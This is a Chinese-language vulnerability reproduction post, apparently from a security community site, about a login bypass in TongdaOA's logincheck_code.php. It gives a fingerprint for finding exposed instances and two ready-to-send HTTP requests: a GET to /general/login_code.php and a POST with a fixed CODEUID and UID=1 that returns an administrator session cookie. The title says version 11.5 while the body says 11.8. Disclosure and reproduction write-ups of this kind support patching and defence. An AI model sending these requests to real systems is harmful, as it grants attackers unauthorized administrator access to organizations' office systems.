奇安信攻防社区-TongdaOA v11.5 logincheck

TongdaOA v11.5 logincheck_code.php 登陆绕过漏洞

# TongdaOA v11.5 logincheck_code.php 登陆绕过漏洞 ## 漏洞描述 TongdaOA v11.8 logincheck_code.php存在登陆绕过漏洞，通过漏洞攻击者可以登陆系统管理员后台 ## 漏洞影响 Tongd...

TongdaOA v11.5 logincheck\_code.php 登陆绕过漏洞
==========================================

漏洞描述
----

TongdaOA v11.8 logincheck\_code.php存在登陆绕过漏洞，通过漏洞攻击者可以登陆系统管理员后台

漏洞影响
----

TongdaOA v11.8

网络测绘
----

app="TDXK-TongdaOA"

漏洞复现
----

登陆页面

![img](https://shs3.b.qianxin.com/butian_public/f82692430099314818fcb5843770e1ccda36fd38f5cf0.jpg)

发送第一个请求包

```php
GET /general/login_code.php HTTP/1.1
Host: 
User-Agent: Go-http-client/1.1
Accept-Encoding: gzip
```

![img](https://shs3.b.qianxin.com/butian_public/f5330518b104f2b662a4f784f4d112dc04b4477f52c6e.jpg)

再发送第二个恶意请求

```php
POST /logincheck_code.php HTTP/1.1
Host: 
User-Agent: Go-http-client/1.1
Content-Length: 56
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

CODEUID=%7BD384F12E-A758-F44F-8A37-20E2568306A7%7D&UID=1
```

![img](https://shs3.b.qianxin.com/butian_public/f666512f590c70b7cf32453abbf392d7777b9c49b1506.jpg)

获取cookie后访问管理员页面 `/general/index.php`

![img](https://shs3.b.qianxin.com/butian_public/f929678b1b6b41761b5815b0200a48e599f844a7c2374.jpg)

发表于 2024-07-12 18:44:25
阅读 ( 613 )
分类：OA产品

TongdaOA v11.5 logincheck_code.php 登陆绕过漏洞

0 条评论